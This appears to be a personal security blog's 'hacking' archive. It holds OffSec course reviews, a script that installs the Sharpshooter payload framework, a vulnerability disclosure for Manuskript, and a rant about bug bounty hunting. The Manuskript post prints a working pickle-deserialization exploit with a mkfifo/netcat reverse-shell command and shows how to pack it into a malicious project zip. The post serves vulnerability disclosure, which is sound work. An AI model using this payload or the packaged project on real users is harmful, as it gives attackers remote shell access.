Category Archives: hacking

Offensive Security PEN-300 Evasion Techniques and Breaching Defenses – Course and Exam Review

You know, OffSec describes the OSEP as: “Evasion Techniques and Breaching Defenses (PEN-300) is an advanced penetration testing course”. I don’t know how advanced it is, if I can pass, lol. I generally have no idea what I’m doing.

Anyway, I really liked the course. There is a lot of material to keep you busy. Unless you’re already familiar with a large chunk of the topics, you’re probably best-served by purchasing the 90 day version of the course. The challenge labs are fun. Make sure you do them before the exam.

The exam was challenging, but fair. You should be able to figure out what you need to do next somewhat quickly, but executing it may be a different story, if you’re anything like me. Just ask yourself, “What did I just accomplish, and what does that allow me to do now?” If you’ve completed the challenge labs, you will be well-prepared for the exam. Some people say to make sure you do all the questions and extra miles in the lab manual, but I only did, I don’t know, 30% of them?

I don’t know what’s next for me. I have a voucher to do the OSED, but I’m a little burned out at this point. I’ll probably put that off until the summer – because who doesn’t like sitting inside and writing exploits when the weather is nice?

Sharpshooter, Python2.7, and Pip2 Installation

Newer versions of Linux may not come with any sort of Python 2 installed. I recently wanted to run Sharpshooter, which is a “payload creation framework for the retrieval and execution of arbitrary CSharp source code.”

Problem is, Python 2 isn’t installed by default on Ubuntu 21.xx and neither is pip2. You also need to install an older (I think) version of jsmin – at least that’s what worked for me.

Use this script to install everything and get it up and running.

if [ "$EUID" -ne 0 ]
    then echo "Run as root!"
    exit
fi

# clone sharpshooter from github
git clone https://github.com/mdsecactivebreach/SharpShooter.git

add-apt-repository universe && apt update

apt install git curl

# install python2.7 and pip2
apt install python2.7 -y
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
chmod +x ./get-pip.py
sudo python2.7 ./get-pip.py

# install correct jsmin
wget https://files.pythonhosted.org/packages/17/73/615d1267a82ed26cd7c124108c3c61169d8e40c36d393883eaee3a561852/jsmin-2.2.2.tar.gz
tar xzf jsmin-2.2.2.tar.gz
python2.7 ./jsmin-2.2.2/setup.py install

Learning Go By Writing a POC for Gitlab CVE-2021-22205

I’ve been wanting to learn Go, and I learn by doing, so I decided to write a POC for CVE-2021-22205, which is fairly straightforward RCE in Gitlab that dropped a few weeks ago. My process in developing this went like this.

Do thirty seconds of research to find a prior Golang POC for this CVE. I didn’t find one, but I’m sure they exist somewhere. I still would have written this, even if I found one. It would make for something to compare my poorly written code to.
Start writing code. My thoughts the whole time while I was writing this were some variation of the following, “There must be a better way to do this.”
Test.
Rewrite.
Repeat above for about 6 hours.
Success!

I’m going to need more practice. I’ve been so used to python for the last ten years, moving to Golang is going to take some work.

Anyway, here is a link to my POC.

Evasion Techniques and Breaching Defenses (PEN-300) – OSEP – Initial Thoughts

I just started this course the other day. I’m already neck deep in VBA, C#, and Powershell, which I need more experience in anyway. I had to do some C# for the AWAE/OSWE and I’ve written a couple very small web apps in C#. I’ve done a very minimal amount of Powershell, though I’ve been meaning to change that.

I know a lot of people say the OSCP is lacking in Active Directory attacking, which may be true. I’d counter by saying what the OSCP doesn’t cover, PEN-300 will cover. The courses go hand in hand. My early opinion is that anybody that takes and passes the OSCP should do PEN-300

All in all, I’m pleased so far. I’m only about 1/7th of the way through the PDF, though. I have a lot to go. With all that I have going on IRL, I’m not sure I’ll be able to finish it in the two months I’m allotted – I may have to get an extension.

My plan is to pass the OSEP exam in October and then start the EXP-301 course and pass that exam by the end of the year. This is an aggressive, and probably unrealistic goal, but oh well, haha.

Anyway, I’ll be back with a full report after the exam.

Advanced Web Attacks and Exploits -AWAE – Exam Review

> AWAE Course Overview

For people unfamiliar with this course and exam, here is a link to the Offensive security website. I’ve also written about it before, so you can check my post history. Basically the course is a giant pdf and a bunch of videos that go over web application attacks. You then get access to a lab consisting of 13 machines that are running a wide variety of vulnerable web-apps. In regards to languages/DBs/tech, this course covers VSCode, Visual Studio, JDGui, Javascript, PHP, Node, Python, Java, C#, mysql, and postgres – so it’s pretty thorough.

The exam is a 48 hour long exam where they give you access to two machines running vulnerable web-apps. You have to bypass auth on them to get administrator access and then escalate your attack to full-blown remote code execution. You’ll get two debugging machines that are running the same apps as the exam machines. You get full access to the app source code – this is a white-box course after all. You have to review the code base, and then use these debugging machines to develop ‘one-shot’ exploit script that bypasses auth and trigger RCE. I used python, as do most people, I think.

Oh yeah, and they watch you on camera the whole time.

After the exam time is up, assuming you have enough points to pass, you have another 24 hours to write an exam report documenting what you found and how you exploited it.

> How did it go?

First things first: I had to take this one twice. My power went out twice, briefly, and my father had to go to the hospital (he’s fine) during my first attempt. Even though he lives hours away, and there wasn’t much I could do, I was a little distracted. And it wasn’t like I was in front of the computer for the full 48 hours. I took a break about every 1.5 hours or so and slept 5-6 hours both nights.

Nevertheless, I still managed RCE on one of the boxes, and if I had another hour or so, I would have had an auth bypass on the second box – which would likely have let me pass. I look back and I just kind of laugh at how I failed it. I missed something simple that would have given me enough points to pass. I even knew what I needed – I just overlooked it.

I actually noticed the vulns on both boxes within an hour of looking at them. I then went down some rabbit holes for a bit and got sidetracked – especially on the box that I considered the harder one.

The second time around I crushed the exam in about 8 hours – RCE on both boxes. I had my report turned in at the 20 hour mark or so – and I was lollygagging.

If you don’t know me, my background is this: I’m not a professional developer. I don’t work in IT. I have never worked in IT. I just like computers. If I can pass this exam, so can you.

> Advice and Review

My advice for people that are preparing to take this exam is to just take their time and read the code. You need to know how to get the VSCode debugging going. It is a lifesaver. It is probably hard to pass if you don’t get it working. If you follow the code flow in a debugger, things should pop out at you. With that said, they do throw in a couple curve balls, which I bet throws some people for a loop. Now these curve balls aren’t hard to hit, per se, but someone that hasn’t been in the infosec/CTF/bug bounty world may miss these things.

Another question that I’ve been asked is, “Do you need an OSCP to do this couse?” I’ve changed my mind on this several times, and while I think an OSCP will give you a leg up, you don’t really need to have one – especially if you’re already involved the hacking/bug bounty/CTF world. If you’re coming at it straight from being a developer, it may not hurt to expose yourself to this stuff beforehand.

All in all, I’d say the exam was fair and maybe a little on the easy side. I say that as someone that failed it once, too, haha. But not only that, the exam is also a lot of fun. I love the Offensive Security exams. Some people will probably hate me for saying that, but they are a lot of fun.

CVE-2021-35959 Stored XSS in Folder Contents on Plone 5-5.2.4

I’ve been testing some new Python-based CMSs and CMS-like software. I’ve heard of Plone before, but I never had a chance to check it out until now. I was a couple of days into my experimenting when I ran across this issue.

I have to say, the Plone team’s response was great. I got an almost immediate response from the security team, and a hotfix was pushed less than a week later.

Please see the following links for more information.

Malicious qBittorrent Search Plugin: Feature or Bug?

TLDR: Read the code before you install random qbittorent plug-ins.

qBittorrent has a feature that allows you to install a search plugin to search for torrents on your favorite sites. These plugins are written in Python, and although I haven’t reviewed the qBittorrent source code, it appears as if you can simply execute arbitrary code via these plugins. qBittorrent does not seem to do any sort of sanitization.

I added a reverse shell class to an already existing search plugin. The shell should work on Windows and Linux. Although, qBittorrent seems to have some issues with what version of Python you are using. Nevertheless, be aware that unsanitized code can be ran via the search plugin feature.

Here is a link to the malicious qBittorrent search plugin.

Arbitrary Code Execution in Manuskript < 0.12

Edit: A pull request has been submitted to remove this functionality and to depricate the old pickled settings, which is a wise security decision.

Edit: This vulnerability has been assigned CVE-2021-35196. It’s currently listed as disputed, even though it is definitely a vulnerability.

I was searching for an alternative to Scrivener to write my future nobel prize winning novel and ran across Manuskript. It looked promising. I found out that it was open-source and on github – which is always cool.

I decided to clone it and take a look at it. It’s written in Python, so that is good for me. It’s probably the language I’m most comfortable in these days.

I started checking out the code and I immediately noticed that pickle was imported in settings.py. The first thing that should come to mind to any security researcher worth their salt is insecure deserialization via the pickle.loads() and pickle.load() functions.

Sure enough, in settings.py, I noticed on lines 190 and 191, it looks like the program’s settings are loaded via pickle.loads() and pickle.load(), respectively. Now, I just had to figure out how to get to that point in the code.

It turns out that this wasn’t overly tough and it would simply involve loading a project that contains a malicious settings.pickle file. In loadSave.py, the function loadProject() on line 30 is responsible for doing exactly what you think it is supposed to do. You will notice in this function that it checks to see if the project is a zip file, but the project does not have to be a zip file.

I used a zip file in my exploit because that would probably be what is used in a realistic exploitation scenario. e.g. I send a malicious project to a co-writer, editor, publisher, etc. or I post a sample project of some sort online for others to use.

After the function determines if the project is a zip file or not, it checks the version of the project. This is where you need to do a small amount of work to exploit the insecure deserialization. It turns out that Manuskript has two versions of settings, version 0 and version 1. Version 0 is the one that uses the pickle module to deserialize the settings.

In order to force the program into the insecure deserialization, we just have to have a zip file without a MANUSKRIPT text file or a VERSION text file in the project and the project number will default to 0, which is what we want.

Now, onto the exploit. There are many references to insecure deserialization online, so google them if you aren’t familiar, but here is the code I used on Ubuntu 20.04 to generate a reverse shell to localhost port 1234. This payload can easily be modified to do anything you want it to do on Linux, Mac, and/or Windows. When this code is ran, it outputs a malicious settings.pickle file, which we will include in the project.

#!/usr/bin/env python3

import pickle
import os


class EvilPickle(object):
    def __reduce__(self):
       	cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
        return os.system, (cmd,)


pickle_data = pickle.dumps(EvilPickle())
with open("settings.pickle", "wb") as file:
    file.write(pickle_data)

After the settings.pickle file is output, simply zip it up:

zip malicious-project.zip settings.pickle

And now you have a malicious-project.zip file that you simply load into Manuskript.

I notified the people involved and they don’t have intentions to fix this issue. They are currently refactoring the project and the deserialization code may be removed altogether.

Offensive Security AWAE/OSWE

I recently was enrolled in the Offensive Security Advanced Web Attacks and Exploits course. This is the newer version of the course, and it leads to the Offensive Security Web Expert Certification. Well, you’ll get the cert after you pass a 48 hour hands-on exam and write a report of your findings. Fun.

First off, I have bug bounty hunting/web app testing experience, so some of the material in the course is not new to me. With that said, the material is presented well, and I enjoyed being able to see somebody else’s methodology of going from initial exploit to full-blown remote code execution. And I definitely still learned a lot along the way.

I’m a mostly self-taught hacker, as are a lot of people in the field. Unfortunately, I find that when I learn on my own, I miss some things along the way. Usually it’s just little time-saving tricks or different ways of doing things, but sometimes I miss things that may cost me money in the bug hunting world. So, I like to supplement the self-learning with some courses occasionally.

If you’re reading this, you probably know how the labs are set up. You get access to 12 boxes running vulnerable software. You exploit them from initial exploit to RCE. The course manual and videos walk you through it, and then they give you “extra miles” to complete, if you’re inclined. The course manual and videos are well put together and explain all the exploits thoroughly.

Should you purchase this course? That depends. I think if you’re already established in the field and making some money bug hunting, you can probably pass it over. If you’re looking to make a transition into web-app pentesting from dev work, it would be a good choice for you. If you’re looking to challenge yourself, go for it. If you’re looking to bolster the resume, go for it.

What do you need to know to complete the course? Well, my skills in C# and Java are a little lacking, so those parts were the most challenging for me, but they were also the parts where I learned the most. I’ve seen some people recommend having an OSCP cert before starting the AWAE, but I don’t think that’s necessary. They are different beasts, and while there is some overlap, it isn’t much. I’d say having a thorough understand of Python (requests package and sessions), and Linux is much more helpful than having an OSCP. The course touches PHP, Node, regular Javascript, Python, C#, and Java (am I forgetting anything?), so if you are lacking experience in any of those, I’d recommend familiarizing yourself with them before you start the course.

So you wanna bug hunt?

> All the Rage:

Bug hunting seems to be all the rage these days. I can understand that, hacking is fun. So if you can hack (legally) and get paid, why not? Let me just tell you what you’re getting yourself into.

For one, you probably aren’t going to make much money, and even if you do make some money, you’d have probably made more with a part time job, or doing whatever needs to get done at your day job to move up in the organization and make more money.

Here are a few questions to ask yourself before you bug hunt.

Can you afford $20-$40 a month for a VPS? You’ll be doing A LOT of recon and you don’t want to do it from your home IP address. You’ll get IP bans, and it will really make your household angry if they can’t get on Netflix because you spent all night hammering Akamai or whatever the case may be.

Can you afford a $400 Burp Pro subscription? Yeah, you may be able to get away without it, but IMO it isn’t worth the effort – double so if you do/are planning to work in the security industry.

> Programs:

Now, you see all those programs listed for hacking on HackerOne and and BugCrowd? Well they are all public programs that have had thousands of people picking over their programs for YEARS at this point. That’s not to say some bugs aren’t still there, they are, but they are way, way less in numbers. Not to mention, many of them have had paid pentesters hacking on them. A lot of these programs were private before they went public too, so when you see the “launched” time, it actually isn’t true – the program didn’t just launch this month.

And don’t get me started on the unpaid bounty programs. They basically are getting all this work done without having to pay anybody. But hey, you’ll get points for hacking them!!!!! Oh wow, great. Unpaid programs should not exist. It lessens the value of our work.

Let me tell you a story of me and an unpaid program. About a year ago, I got invited to this program, and I immediately realized the scope was very large – which is awesome. Within a few days, I had found a bunch of bugs. All of these bugs were medium or higher, and one was EXTREMELY critical. So naturally, I’m happy, and I’m thinking I’m going to make some good money. Wrong. That’s when I found out that this program was unpaid.

I know, I know – it is my fault for not checking first. At the time, I was under the assumption that you had to be a paid program to be a private program. I don’t know where I got that from. My point remains valid. Basically, there is a good chance I saved this company millions of dollars, and without going into details, it could have been worse that just a monetary loss for them. You know what I got in return? Points. Great. Wow.

This actually happened to me again recently. Yes, I’m stupid. But I digress, haha.

> Coding:

I see a lot of posts asking if you need to know how to code to bug hunt. It sounds like a lot of these people are trying to get away without learning how to code. Let me help you.

YOU NEED TO KNOW HOW TO CODE.

You don’t have to be a pro, but you need to be decently fluent in python and bash, and at the very least, be able to read PHP and Javascript. The more experienced you are the better.

You see those people making a lot of money bug hunting? They are probably good coders. They’ve probably automated all their recon with Python or Bash scripts. They can decompile mobile and web apps. They’re pretty good coders, generally.

> Certs:

Let’s talk about the OSCP. Is it a cool cert? Yes. Does it teach you much about bug hunting? Yes and no. You’ll need to add a lot more techniques and tools to your arsenal to be successful. The offsec AWAE does have some topics that are useful to bug hunting – web apps in particular.

Let’s talk about these techniques and tools.

You’ll need to install a lot of tools you’ve never heard of. And listen, everybody has a massive amount of bug hunting scripted. They are constantly scanning ALL the hosts in EVERY program for low hanging fruit. Again, that doesn’t mean you won’t find anything, but it greatly reduces your chances.

You still wanna bug hunt? Go for it. But don’t get discouraged when you’re in the hole $600 bucks and you’ve found two self XSS vulns after a year. Lol

> TLDR:

Don’t bug hunt, and if you do, avoid unpaid programs. Better yet, spend your time advancing your career or getting a part time job. Also, use my Linode link for your VPS 😉